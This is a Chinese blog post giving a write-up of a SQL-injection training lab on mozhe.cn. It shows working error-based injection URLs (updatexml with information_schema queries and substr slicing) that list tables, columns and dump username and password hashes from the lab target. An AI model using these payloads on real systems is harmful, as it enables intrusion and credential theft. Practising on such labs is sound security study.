WEB安全- SQL过滤字符后手工注入漏洞测试(第3题)

前言
这是SQL注入的第十一篇,紧接着上次的靶场来打,也是上次靶场的最后一题,这题是三星难度,但是打完好像并没有我想象的那么难,题目链接:https://www.mozhe.cn/bug/detail/ZVBYR3I3eG9USnpIT0xqaDdtR09SQT09bW96aGUmozhe
正文
首先明确目标,这里说需要绕过,但是做完发现好像并不要,所以题目还是有不严谨的地方,可以有很多不同的解题方式
进入存在注入的网站,发现和之前不太一样
这里的id修改可以看到不同的商品
尝试一下单引号,发现有报错,尝试使用报错注入
之后添加#,报错消失,所以可以进行报错注入
先获取数据库名为  min_ju4t_mel1i
http://219.153.49.228:44328/new_list.php?id=1' and updatexml(1,concat(0x7e,database()),0) %23
获取数据表为  (@dmin9_td4b},notice,stormgroup
http://219.153.49.228:44328/new_list.php?id=1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())),0) %23
本以为是stormgroup表,但是没有报错出数据,所以去(@dmin9_td4b}表中查看,获取到列为 id,username,password,status
http://219.153.49.228:44328/new_list.php?id=1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='(@dmin9_td4b}')),0) %23
拉取username和password数据,注意这里的表名因为有大括号,和前面某些代码形成闭合,无法拉取,所以要添加反引号 ` 来确定它是一个表
http://219.153.49.228:44328/new_list.php?id=1' and updatexml(1,concat(0x7e,(select group_concat(username,0x7e,password) from min_ju4t_mel1i.`(@dmin9_td4b}`)),0) %23
拉取出第一组数据,但是有前面的经验知道,这不完整,所以通过截取函数慢慢拉取数据,然后修改substr的第二个和第三个数据调整来截取位数慢慢获取数据
http://219.153.49.228:44328/new_list.php?id=1' and updatexml(1,substr(concat(0x7e,(select group_concat(username,0x7e,password) from min_ju4t_mel1i.`(@dmin9_td4b}`)),1,200),0) %23
拉取数据如下,一个一个解密,获得账号密码
mozhe1~c4ea899a06973f44f891504e2efa3356
mozhe~7fef6171469e80d32c0559f88b377245
mozhe2~cb16f5d9fecbae34d999a17652305de1
mozhe4~22848a9af522d214c0fec25947475c73
mozhe3~b5008541e00894fbadbc6f4b9bb501dd 
b5008541e00894fbadbc6f4b9bb501d # 正确
或者使用burp调整substr参数进行爆破,注意要在options的Grep-Extract里面添加~作为参数,但是爆出来的数据也不全,所以还要打开response里面自己看后拼接起来
登陆后台获取key
总结
其实打到现在发现,很多题目只要开始的时候方向对,基本上没什么问题,后面就是手工慢慢注入了,最重要的还是信息搜集和信息判断,有些题目可能看着难,但是有其它简单的办法,所以不能被禁锢住想法,多想想就会有新的收获
 
 
posted @ 2021-12-04 09:55  icui4cu  阅读(127)  评论(0编辑  收藏  举报